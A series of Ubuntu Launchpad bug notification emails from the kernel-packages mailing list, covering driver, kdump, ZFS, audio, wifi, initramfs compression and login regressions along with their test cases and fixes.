This was added to the release notes for Disco: "For secure-boot enabled systems with Broadcom wireless, even after selecting the proprietary drivers during the installation, the bcmwl dkms module can end up left uninstalled after reboot (resulting in no working wifi). This is caused by a dkms tooling regression. As a workaround the bcmwl-kernel-source package needs to be reinstalled on the target system sudo apt-get install --reinstall bcmwl-kernel-source. (bug 1821823)" ** No longer affects: ubiquity (Ubuntu) ** Also affects: ubuntu-release-notes Importance: Undecided Status: New ** Changed in: ubuntu-release-notes Status: New => Fix Released ** Changed in: dkms (Ubuntu Disco) Importance: Undecided => High ** Tags removed: rls-dd-incoming ** Tags added: patch-accepted-upstream -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to dkms in Ubuntu. https://bugs.launchpad.net/bugs/1821823 Title: No wireless networks displayed for broadcom BCM43142 Status in Release Notes for Ubuntu: Fix Released Status in dkms package in Ubuntu: Fix Released Status in dkms source package in Disco: Fix Released Bug description: [Impact] The dkms version available in disco regressed in behavior in comparison to earlier series, causing `dkms uninstall` removing the module from the built tree instead of only uninstalling it. Per the dkms manpage, an uninstall operation should leave the module in the 'built' state, while currently it ends up only in the 'added' state. This breaks our current shim-signed logic, since on postinst we're uninstalling every dkms module, checking if we uninstalled it correctly by making sure it's in the 'built' state and then signing it if everything is ok. And this is now broken. This seemed to have been introduced unintentionally as the manpage still notes for `dkms uninstall`: "Uninstalls an installed module/module-version combo from the kernel/arch passed in the -k option, or the current kernel if the -k option was not passed upon. After uninstall completion, the driver will be left in the built state. To completely remove a driver, the remove action should be utilized." The bug has been made visible with the bcmwl-kernel-source driver, which, if installed before shim-signed, will then become uninstalled and not reinstalled again (because of the failed status check before signing). [Test Case] An easy way of checking if the uninstall logic has been reverted: 1. On a disco system, install the dkms and bcmwl-kernel-source packages (-proposed disabled). 2. Check the version of the module installed `dkms status`. 3. Once the installation completes, uninstall the bcmwl dkms module from the system: `dkms uninstall bcmwl/` 4. Checks that the status is not reported as 'built' (should be something like 'added' only): `dkms status bcmwl` 5. Enable disco-proposed and upgrade dkms. 6. Re-install the bcmwl-kernel-source package. 7. Once again uninstall the bcmwl dkms module: `dkms uninstall bcmwl/` 8. Check the status and notice that it is now reported as 'built': `dkms status bcmwl` Another way would be checking on a secureboot-enabled system that has Broadcom wireless installing the -proposed dkms, then bcmwl-kernel- source and finally shim-signed (reinstalling if necessary). This operation should result in the broadcom dkms module still being installed and active. But this test should be counted as an optional 'additional test'. [Regression Potential] Since this does change the dkms uninstall behavior, there is always some risk involved. One of the potential regressions could be related to kernel uninstallation, as we are reverting parts of the kernel prerm scripts along with the revert - but the risk should be low as we're actually reverting to the state we had in all series prior to disco. In overall the uninstall command of dkms might have regressed its behavior in case some other place started assuming the removals of modules from the built directory, but seeing the disco diff it's highly improbable. [Original Description] For 19.04 UB did a minimal install. I selected the ubiquity proprietary option and expected the broadcom driver to be found and installed. On reboot I could not see any wireless networks. I went to the Additional Drivers window and it stated that the computer was indeed using Broadcom 802.11 Linux STA wireless driver and was in use. This is a regression - in both 18.04 and 18.10, the same steps also installed the driver, and wireless networks were found and could be connected to. ProblemType: BugDistroRelease: Ubuntu 19.04 Package: linux-image-5.0.0-7-generic 5.0.0-7.8 ProcVersionSignature: Ubuntu 5.0.0-7.8-generic 5.0.0 Uname: Linux 5.0.0-7-generic x86_64 ApportVersion: 2.20.10-0ubuntu23 Architecture: amd64 AudioDevicesInUse: USER
[Kernel-packages] [Bug 1800566] Re: Make reset_devices parameter default for kdump and decouple kdump systemd service from the KDUMP_CMDLINE_APPEND
** Changed in: makedumpfile (Ubuntu Cosmic) Status: Confirmed => Won't Fix -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to makedumpfile in Ubuntu. https://bugs.launchpad.net/bugs/1800566 Title: Make reset_devices parameter default for kdump and decouple kdump systemd service from the KDUMP_CMDLINE_APPEND Status in makedumpfile package in Ubuntu: In Progress Status in makedumpfile source package in Trusty: Won't Fix Status in makedumpfile source package in Xenial: Confirmed Status in makedumpfile source package in Bionic: Confirmed Status in makedumpfile source package in Cosmic: Won't Fix Status in makedumpfile source package in Disco: Confirmed Status in makedumpfile source package in Eoan: In Progress Bug description: [Impact] * Kdump does not configure by default the crash kernel to perform a device reset by default, by passing the "reset_devices" parameter. Also, the systemd service "kdump-tools-dump" is tightly-coupled with KDUMP_CMDLINE_APPEND and it shouldn't, to prevent user confusion. * Kernel has the "reset_devices" parameter that drivers can opt-in, and perform special activity in case this parameter is parsed from command-line. For example, in kdump kernels it hints the drivers that they are booting from a non-healthy condition and needs to issue some form of reset to the adapter, like clearing DMA mapping in their firmware for example. Users currently (kernel v5.2) are: aacraid, hpsa, ipr, megaraid_sas, mpt3sas, smartpqi, xenbus. This should be enabled by default in the kdump config file to be added in the kdump kernel command-line for all versions. * The systemd service"kdump-tools-dump" is responsible for triggering the execution of the makedumpfile tool ultimately. Kdump from Xenial+ releases rely on systemd as their init system, so this service is the way to trigger the kdump mechanism. Currently it is configured as any other parameter in KDUMP_CMDLINE_APPEND, meaning if user decides to change the line they need to remember adding the systemd service back. It's not really a parameter that should be easily manipulated in kdump line, since there's no use for it except to instruct systemd to load kdump; the only reasonable case for removing it is to debug kdump itself. [Test Case] 1) Deploy a Disco VM e.g. with uvt-kvm 2) Install the kdump-tools package 3) Run `kdump-config test`and check for the 'reset_devices' parameter: $ kdump-config test ... kexec command to be used: /sbin/kexec -p --command-line="BOOT_IMAGE=/boot/vmlinuz-4.15.0-45-generic root=LABEL=cloudimg-rootfs ro console=tty1 console=ttyS0 nr_cpus=1 systemd.unit=kdump-tools.service irqpoll nousb ata_piix.prefer_ms_hyperv=0" /var/lib/kdump/vmlinuz Also, by changing the KDUMP_CMDLINE_APPEND we can see "systemd.unit =kdump-tools.service" to be removed. [Regression Potential] The regression potential is low, since it doesn't need any changes in makedumpfile code and we're only adding a parameter on the crash kernel command-line. The risks are related with bad behavior with the kernel when using "reset_devices", like if the driver has bugs in this path. It's considered safer to have the option (and this way prevent problems for booting a unhealthy kernel with potential stuck DMAs in the devices) than not having it. Regarding the other change, about the systemd service, it'll only affect users the are debugging kdump itself and it has no known regression potential. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/makedumpfile/+bug/1800566/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1839521] Re: Xenial: ZFS deadlock in shrinker path with xattrs
** No longer affects: linux (Ubuntu) ** No longer affects: linux (Ubuntu Xenial) ** No longer affects: linux (Ubuntu Bionic) ** No longer affects: linux (Ubuntu Disco) ** No longer affects: linux (Ubuntu Eoan) ** No longer affects: zfs-linux (Ubuntu Bionic) ** No longer affects: zfs-linux (Ubuntu Disco) ** No longer affects: zfs-linux (Ubuntu Eoan) ** Changed in: zfs-linux (Ubuntu) Status: Invalid => Fix Released ** Changed in: zfs-linux (Ubuntu) Importance: Undecided => Medium ** Changed in: zfs-linux (Ubuntu Xenial) Importance: Undecided => Medium -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to zfs-linux in Ubuntu. https://bugs.launchpad.net/bugs/1839521 Title: Xenial: ZFS deadlock in shrinker path with xattrs Status in zfs-linux package in Ubuntu: Fix Released Status in zfs-linux source package in Xenial: Fix Committed Bug description: [Impact] * Xenial's ZFS can deadlock in the memory shrinker path after removing files with extended attributes (xattr). * Extended attributes are enabled by default, but are _not_ used by default, which reduces the likelyhood. * It's very difficult/rare to reproduce this problem, due to file/xattr/remove/shrinker/lru order/timing circumstances required. (weeks for a reporter user) but a synthetic test-case has been found for tests. [Test Case] * A synthetic reproducer is available for this LP, with a few steps to touch/setfattr/rm/drop_caches plus a kernel module to massage the disposal list. (comment #8) * In the original ZFS module: the xattr dir inode is not purged immediately on file removal, but possibly purged _two_ shrinker invocations later. This allows for other thread started before file remove to call zfs_zget() on the xattr child inode and iput() it, so it makes to the same disposal list as the xattr dir inode. (comment #3) * In the modified ZFS module: the xattr dir inode is purged immediately on file removal not possibly later on shrinker invocation, so the problem window above doesn't exist anymore. (comment #12) [Regression Potential] * Low. The patches are confined to extended attributes in ZFS, specifically node removal/purge, and another change how an xattr child inode tracks its xattr dir (parent) inode, so that it can be purged immediately on removal. * The ZFS test-suite has been run on original/modified zfs-dkms package/kernel modules, with no regressions. (comment #11) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/zfs-linux/+bug/1839521/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1862505] Re: alsa-lib-1.2.1.2: should install the alsa-ucm-conf and alsa-topology-conf to focal image by default
** Tags added: packaging -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to alsa-lib in Ubuntu. https://bugs.launchpad.net/bugs/1862505 Title: alsa-lib-1.2.1.2: should install the alsa-ucm-conf and alsa-topology- conf to focal image by default Status in alsa-lib package in Ubuntu: New Bug description: Before the alsa-lib-1.2.1 the ucm and topology conf files are in the alsa-lib, when we install the alsa-lib/libasound2, they are installed together with alsa-lib. But from 1.2.1 they are separated from the alsa-lib, and in the focal, we choose the 1.2.1.2 version, we should install the ucm and topology too, otherwise those machines need ucm and topology will not work anymore, users have to install these two packages manually. Two packages we need to put into the focal image are: alsa-ucm-conf 1.2.1.2-2 alsa-topology-conf 1.2.1-2 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/alsa-lib/+bug/1862505/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1870554] Re: ip-netns(8) unmounts /sys filesystem hierarchy within namespace
** Changed in: iproute2 (Ubuntu) Importance: Undecided => Medium -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to iproute2 in Ubuntu. Matching subscriptions: iproute2 https://bugs.launchpad.net/bugs/1870554 Title: ip-netns(8) unmounts /sys filesystem hierarchy within namespace Status in iproute2 package in Ubuntu: New Bug description: Filesystems ordinarily mounted beneath /sys, particularly /sys/fs/cgroup, are not mounted within network namespaces created by ip-netns(8), as lib/namespace.c:netns_switch() explicitly remounts /sys. The patch enclosed removes the offending calls to umount2(2) and mount(2), leaving the /sys hierarchy intact within network namespaces. $ lsb_release -rd Description:Ubuntu 18.04.4 LTS Release:18.04 $ apt-cache policy iproute2 iproute2: Installed: 4.15.0-2ubuntu1 Candidate: 4.15.0-2ubuntu1 Version table: *** 4.15.0-2ubuntu1 500 500 http://fr2.archive.ubuntu.com/ubuntu bionic/main amd64 Packages 100 /var/lib/dpkg/status Nota bene: this bug was reported in [1] (unresolved) and, on Arch Linux, [2]. References: [1] https://answers.launchpad.net/ubuntu/+source/iproute2/+question/659146 [2] https://bugs.archlinux.org/task/33328 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/iproute2/+bug/1870554/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1831736] Re: [MIR] lz4 by default
** No longer affects: ubuntu-release-upgrader (Ubuntu) ** No longer affects: linux (Ubuntu) -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1831736 Title: [MIR] lz4 by default Status in Release Upgrader: New Status in initramfs-tools package in Ubuntu: Fix Released Status in live-build package in Ubuntu: Fix Released Status in livecd-rootfs package in Ubuntu: Fix Released Status in lz4 package in Ubuntu: Fix Released Status in ubuntu-release-upgrader package in Ubuntu: Won't Fix Bug description: Use `lz4 -9 -l` compression for initramfs by default as discussed on ubuntu-devel. This would also pull the lz4 package into main https://lists.ubuntu.com/archives/ubuntu-devel/2019-June/040726.html [Regression Potential] We are trying to optimize for total boot speed, but performing a micro-optimization upon time to create/unpack kernel/initrd is an insufficient benchmark for total boot speed. This is because it ignores time to load the kernel/initrd, and whether the firmware/bootloader were able to stream decompress it whilst loading it. I.e. it is argued that in the real world, subsecond decompression gains are irrelevant if UEFI firmware, tftp boot, etc. take a lot longer than that to read extra 10s of MBs of boot material. [TODO] Measure pure i/o load speed with stopwatch, to figure out MB/s speed of loading initrds/kernel off FAT32, EXT4, TFTP, HTTP. Re-evaluate if we should provide different compression mechanisms: - ie. gzip instead of lz4 for most cases (revert) - ie. xz for painful i/o cases (e.g. netboot) I booted grub2 and measured loading largish amount of files, ie. $ date; initrd (hd0,gpt5)/initrd.img; initrd (hd0,gpt5)/initrd.img; initrd (hd0,gpt5)/initrd.img; initrd (hd0,gpt5)/initrd.img; initrd (hd0,gpt5)/initrd.img; date To get a rough speed between 30 and 44 MB/s of loading these files off ext4 on nvme. With lz4 initrd taking 67M, and gzip initrd taking 59M, the grub i/o penalty is 0.18s whilst I gain over a second in faster decompression time. Overall a win. xz initrd is 36M meaning saving e.g. 0.8s of i/o time whilst gaining 2.4s of decompression time, meaning overall worse than gzip. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu-release-upgrader/+bug/1831736/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1875252] Re: Ubuntu 20.04 LTS update causing no sound coming from built-in speakers
** Tags added: regression-release ** Changed in: linux (Ubuntu) Importance: Undecided => High -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1875252 Title: Ubuntu 20.04 LTS update causing no sound coming from built-in speakers Status in linux package in Ubuntu: Confirmed Bug description: After updating to Ubuntu 20.04 LTS, the only way of hearing audio is through headphones. The sound settings tab doesn't even show any other output option other than "Dummy output" . I have already checked other versions and everything works perfectly when I downgrade to Ubuntu 19.10, so I think this is a version related bug. Just to reiterate my laptop is a DELL Inspiron 14 3420.The sound card showing in alsamixer window is HDA Intel PCH, and the chip is Cirrus Logic CS4213. I have looked up solutions online for 2 days and none has worked. ProblemType: Bug DistroRelease: Ubuntu 20.04 Package: linux-image-5.4.0-26-generic 5.4.0-26.30 ProcVersionSignature: Ubuntu 5.4.0-26.30-generic 5.4.30 Uname: Linux 5.4.0-26-generic x86_64 ApportVersion: 2.20.11-0ubuntu27 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: george 1499 F pulseaudio CasperMD5CheckResult: skip CurrentDesktop: ubuntu:GNOME Date: Sun Apr 26 19:04:06 2020 InstallationDate: Installed on 2020-04-26 (0 days ago) InstallationMedia: Ubuntu 19.10 "Eoan Ermine" - Release amd64 (20191017) MachineType: Dell Inc. Inspiron 3420 ProcFB: 0 i915drmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.4.0-26-generic root=UUID=ec9a2552-c1da-44bd-9967-5be8bc6da075 ro quiet splash vt.handoff=7 RelatedPackageVersions: linux-restricted-modules-5.4.0-26-generic N/A linux-backports-modules-5.4.0-26-generic N/A linux-firmware1.187 RfKill: 0: phy0: Wireless LAN Soft blocked: no Hard blocked: no SourcePackage: linux UpgradeStatus: Upgraded to focal on 2020-04-26 (0 days ago) dmi.bios.date: 09/28/2012 dmi.bios.vendor: Dell Inc. dmi.bios.version: A05 dmi.board.name: 04XGDT dmi.board.vendor: Dell Inc. dmi.board.version: A05 dmi.chassis.type: 8 dmi.chassis.vendor: Dell Inc. dmi.chassis.version: Not Specified dmi.modalias: dmi:bvnDellInc.:bvrA05:bd09/28/2012:svnDellInc.:pnInspiron3420:pvrNotSpecified:rvnDellInc.:rn04XGDT:rvrA05:cvnDellInc.:ct8:cvrNotSpecified: dmi.product.name: Inspiron 3420 dmi.product.sku: To be filled by O.E.M. dmi.product.version: Not Specified dmi.sys.vendor: Dell Inc. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1875252/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1877536] Re: BlueZ 5.54 release
** Tags added: upgrade-software-version -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to bluez in Ubuntu. https://bugs.launchpad.net/bugs/1877536 Title: BlueZ 5.54 release Status in bluez package in Ubuntu: In Progress Bug description: Release BlueZ 5.54 to groovy To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/bluez/+bug/1877536/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1881549] Re: BCM43602 [14e4:43ba] Subsystem [1028:0020]: Upgraded to 20.04 and wifi broke
** No longer affects: linux (Ubuntu Groovy) ** No longer affects: linux (Ubuntu Focal) ** No longer affects: linux (Ubuntu) -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1881549 Title: BCM43602 [14e4:43ba] Subsystem [1028:0020]: Upgraded to 20.04 and wifi broke Status in wpa package in Ubuntu: Fix Released Status in wpa source package in Focal: Confirmed Status in wpa source package in Groovy: Fix Released Bug description: [Impact] * A driver supports FT (IEEE 802.11r-2008 or fast BSS transition (FT), also called fast roaming) if it either supports SME or the NL80211_CMD_UPDATE_FT_IES command. When selecting AKM suites, wpa_supplicant currently doesn't take into account whether or not either of those conditions are met. This can cause association failures, e.g., when an AP supports both WPA-EAP and FT-EAP but the driver doesn't support FT (wpa_supplicant will decide to do FT-EAP since it is unaware the driver doesn't support it). * This is known to affect users at least users with popular chip-sets, such as BCM20703A1 or BCM4350 (notably present in the popular XPS 13/15 laptops). * The upload fixes the bug by allowing an FT suite to be selected only when the driver also supports FT. [Test Case] * requires affected hardware and wpa_supplicant built with CONFIG_IEEE80211R and connecting to an AP supporting WPA-EAP and FT-EAP [Regression Potential] * a driver not advertising correctly its support for SME or the NL80211_CMD_UPDATE_FT_IES command via the drv_flags would be prevented from using FT but would still be able to connect to APs [Other Info] * Upstream fix: https://w1.fi/cgit/hostap/commit/?id=23dc196fde951b3d508f367a603cddffbd053490 * Initial report: https://bugs.archlinux.org/task/63397 --- Upgraded to 20.04 and the wifi broke. It was working fine on 18.04. Tried a variety of things with apw but nada. /var/log attached --- ProblemType: Bug ApportVersion: 2.20.11-0ubuntu27.2 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: ubuntu 1438 F pulseaudio CasperMD5CheckResult: skip CurrentDesktop: ubuntu:GNOME DistroRelease: Ubuntu 20.04 InstallationDate: Installed on 2019-07-09 (329 days ago) InstallationMedia: Ubuntu 18.04.2 LTS "Bionic Beaver" - Release amd64 (20190210) MachineType: Dell Inc. XPS 15 9550 Package: linux (not installed) ProcFB: 0 i915drmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.4.0-33-generic root=UUID=f73bcd37-31c3-4314-81cf-102bfd94a03e ro quiet splash vt.handoff=7 ProcVersionSignature: Ubuntu 5.4.0-33.37-generic 5.4.34 RelatedPackageVersions: linux-restricted-modules-5.4.0-33-generic N/A linux-backports-modules-5.4.0-33-generic N/A linux-firmware1.187 Tags: focal Uname: Linux 5.4.0-33-generic x86_64 UpgradeStatus: Upgraded to focal on 2020-05-21 (12 days ago) UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo _MarkForUpload: True dmi.bios.date: 12/12/2019 dmi.bios.vendor: Dell Inc. dmi.bios.version: 1.13.1 dmi.board.name: 0N7TVV dmi.board.vendor: Dell Inc. dmi.board.version: A00 dmi.chassis.type: 9 dmi.chassis.vendor: Dell Inc. dmi.modalias: dmi:bvnDellInc.:bvr1.13.1:bd12/12/2019:svnDellInc.:pnXPS159550:pvr:rvnDellInc.:rn0N7TVV:rvrA00:cvnDellInc.:ct9:cvr: dmi.product.family: XPS dmi.product.name: XPS 15 9550 dmi.product.sku: 06E4 dmi.sys.vendor: Dell Inc. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/wpa/+bug/1881549/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1861446] Re: on focal 'ubuntu-bug linux' doesn't automatically collect kernel artifacts
** No longer affects: linux (Ubuntu Focal) ** No longer affects: linux (Ubuntu) -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1861446 Title: on focal 'ubuntu-bug linux' doesn't automatically collect kernel artifacts Status in apport package in Ubuntu: Fix Released Status in apport source package in Focal: Fix Released Bug description: Hello, on focal I ran 'ubuntu-bug linux' to report a kernel issue. The issue was filed against linux-signed-5.4 (Ubuntu) rather than linux (Ubuntu), and none of the logs usually included with kernel bug reports were included. After the bug was changed from linux-signed-5.4 to linux, I was prompted to run apport-collect by the kernel team's triagebot and that worked successfully: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1861359/+activity My guess is that apport needs to be updated to understand a change in kernel packaging. Thanks ProblemType: Bug DistroRelease: Ubuntu 20.04 Package: apport 2.20.11-0ubuntu16 ProcVersionSignature: Ubuntu 5.4.0-12.15-generic 5.4.8 Uname: Linux 5.4.0-12-generic x86_64 NonfreeKernelModules: zfs zunicode zavl icp zcommon znvpair ApportLog: ApportVersion: 2.20.11-0ubuntu16 Architecture: amd64 CrashReports: 640:1000:1000:40192:2020-01-30 03:32:41.717296496 +:2020-01-30 03:32:41.717296496 +:/var/crash/_usr_bin_apport-bug.1000.crash 600:0:0:467987:2020-01-24 20:40:35.855434497 +:2020-01-24 20:40:35.819434494 +:/var/crash/zfsutils-linux.0.crash 640:0:0:386063:2020-01-24 20:42:09.391725398 +:2020-01-24 20:42:08.887728256 +:/var/crash/_usr_sbin_zfs.0.crash Date: Thu Jan 30 18:44:47 2020 PackageArchitecture: all ProcEnviron: TERM=rxvt-unicode-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_US.UTF-8 SHELL=/bin/bash SourcePackage: apport UpgradeStatus: Upgraded to focal on 2020-01-24 (5 days ago) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1861446/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1863222] Re: Sync hwdata 0.333-1 (main) from Debian unstable (main)
** Changed in: hwdata (Ubuntu) Importance: Undecided => Low -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to hwdata in Ubuntu. https://bugs.launchpad.net/bugs/1863222 Title: Sync hwdata 0.333-1 (main) from Debian unstable (main) Status in hwdata package in Ubuntu: New Status in hwdata package in Debian: New Bug description: Please sync hwdata 0.333-1 (main) from Debian unstable (main) It has updated packaging and newer IDs useful for the new LTS. Explanation of the Ubuntu delta and why it can be dropped: * debian/rules: - don't install deprecated changelog The Ubuntu delta can be dropped because it's already in the Debian package. Changelog entries since current focal version 0.317-0ubuntu2: hwdata (0.333-1) unstable; urgency=medium * New upstream release: (Closes: #947191) - pnp.ids: update Goldstar to LG Electronics (Closes: #95) -- Pino Toscano Thu, 12 Mar 2020 06:45:31 +0100 hwdata (0.290-2) unstable; urgency=medium * Take over the maintainership from Noël Köthe, with his permission. Thanks for maintaining hwdata so far! * Add the configuration for the CI on salsa. * Stop shipping, and installing, a ChangeLog file generated from the upstream Git repository, as it is not useful. * Move the installation of pnp.ids to a hwdata.install file, instead of copying it manually. * Move the symlinks creation to a hwdata.links file, instead of passing them as arguments of dh_link. * Stop patching usb.ids, as we do not ship it anyway. * Switch source format to "3.0 (quilt)". * Bump the debhelper compatibility to 12: - switch the debhelper build dependency to debhelper-compat 12 - remove debian/compat * Rewrite rules to the dh sequencer, with no specific buildsystem. * Remove dirs file, as the right directories are automatically created. * Stop using the ${shlibs:Depends} substvar, as it does not exist in arch:all binaries. * Upstream moved to GitHub, so: - switch Homepage to https://github.com/vcrhonek/hwdata - switch watch file to GitHub tags * Add Vcs-* fields. * Remove README.build, as we do not ship usb.ids. * Remove trailing whitespaces in changelog. * Bump Standards-Version to 4.5.0, no changes required. * Mark hwdata as Multi-Arch: foreign. * Set Rules-Requires-Root: no. -- Pino Toscano Fri, 06 Mar 2020 20:47:41 +0100 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/hwdata/+bug/1863222/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1845801] Re: [nvidia] Automatic login fails and then all subsequent logins fail. Killing gnome-session-binary fixes it, or just not using automatic login.
** No longer affects: systemd (Ubuntu) -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to nvidia-graphics-drivers-390 in Ubuntu. https://bugs.launchpad.net/bugs/1845801 Title: [nvidia] Automatic login fails and then all subsequent logins fail. Killing gnome-session-binary fixes it, or just not using automatic login. Status in gdm3 package in Ubuntu: Confirmed Status in gnome-session package in Ubuntu: Confirmed Status in nvidia-graphics-drivers-390 package in Ubuntu: Confirmed Status in nvidia-graphics-drivers-430 package in Ubuntu: Confirmed Status in nvidia-graphics-drivers-435 package in Ubuntu: Confirmed Status in gdm3 source package in Eoan: Confirmed Status in gnome-session source package in Eoan: Confirmed Status in nvidia-graphics-drivers-435 source package in Eoan: Confirmed Bug description: I just updated to the Ubuntu 19.10 beta. After boot, I'm shown the GDM login screen (which I shouldn't; I have auto login enabled), and logging in just takes me back to the same user selection screen even though the password is correct. If I switch to a TTY and run `sudo pkill gnome-session-binary`, logging in through GDM starts working again. I should add that the do-release-upgrade was rocky; I did it in a terminal from within gnome, went away for a while, and when I returned, I just saw an Ubuntu 19.10 in a TTY. I was able to do `sudo dpkg --configure -a` and complete the upgrade, but I don't know if something's still messed up due to that. ProblemType: Bug DistroRelease: Ubuntu 19.10 Package: xorg 1:7.7+19ubuntu12 ProcVersionSignature: Ubuntu 5.3.0-13.14-generic 5.3.0 Uname: Linux 5.3.0-13-generic x86_64 NonfreeKernelModules: nvidia_modeset nvidia .proc.driver.nvidia.gpus..01.00.0: Error: [Errno 21] Is a directory: '/proc/driver/nvidia/gpus/:01:00.0' .proc.driver.nvidia.registry: Binary: "" .proc.driver.nvidia.suspend: suspend hibernate resume .proc.driver.nvidia.suspend_depth: default modeset uvm .proc.driver.nvidia.version: NVRM version: NVIDIA UNIX x86_64 Kernel Module 435.21 Sun Aug 25 08:17:57 CDT 2019 GCC version: gcc version 9.2.1 20190909 (Ubuntu 9.2.1-8ubuntu1) ApportVersion: 2.20.11-0ubuntu7 Architecture: amd64 BootLog: Error: [Errno 13] Permission denied: '/var/log/boot.log' CompositorRunning: None CurrentDesktop: ubuntu:GNOME Date: Sat Sep 28 19:55:42 2019 DistUpgraded: 2019-09-28 18:35:15,142 INFO cache.commit() DistroCodename: eoan DistroVariant: ubuntu DkmsStatus: nvidia, 435.21, 5.3.0-13-generic, x86_64: installed ExtraDebuggingInterest: Yes GraphicsCard: NVIDIA Corporation GP102 [GeForce GTX 1080 Ti] [10de:1b06] (rev a1) (prog-if 00 [VGA controller]) Subsystem: ASUSTeK Computer Inc. GP102 [GeForce GTX 1080 Ti] [1043:85e4] InstallationDate: Installed on 2019-09-14 (13 days ago) InstallationMedia: Ubuntu 19.04 "Disco Dingo" - Release amd64 (20190416) MachineType: MSI MS-7A67 ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.3.0-13-generic root=UUID=04974c80-e732-49b6-8148-c3dce7c02a25 ro quiet splash vt.handoff=7 SourcePackage: xorg Symptom: display Title: Xorg crash UpgradeStatus: Upgraded to eoan on 2019-09-28 (0 days ago) dmi.bios.date: 01/25/2018 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: 2.60 dmi.board.asset.tag: Default string dmi.board.name: H270I GAMING PRO AC (MS-7A67) dmi.board.vendor: MSI dmi.board.version: 1.0 dmi.chassis.asset.tag: Default string dmi.chassis.type: 3 dmi.chassis.vendor: MSI dmi.chassis.version: 1.0 dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvr2.60:bd01/25/2018:svnMSI:pnMS-7A67:pvr1.0:rvnMSI:rnH270IGAMINGPROAC(MS-7A67):rvr1.0:cvnMSI:ct3:cvr1.0: dmi.product.family: Default string dmi.product.name: MS-7A67 dmi.product.sku: Default string dmi.product.version: 1.0 dmi.sys.vendor: MSI version.compiz: compiz N/A version.libdrm2: libdrm2 2.4.99-1ubuntu1 version.libgl1-mesa-dri: libgl1-mesa-dri 19.1.6-1ubuntu1 version.libgl1-mesa-glx: libgl1-mesa-glx N/A version.nvidia-graphics-drivers: nvidia-graphics-drivers-* N/A version.xserver-xorg-core: xserver-xorg-core 2:1.20.5+git20190820-0ubuntu3 version.xserver-xorg-input-evdev: xserver-xorg-input-evdev N/A version.xserver-xorg-video-ati: xserver-xorg-video-ati 1:19.0.1-1 version.xserver-xorg-video-intel: xserver-xorg-video-intel 2:2.99.917+git20190815-1 version.xserver-xorg-video-nouveau: xserver-xorg-video-nouveau 1:1.0.16-1 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gdm3/+bug/1845801/+subscriptions -- 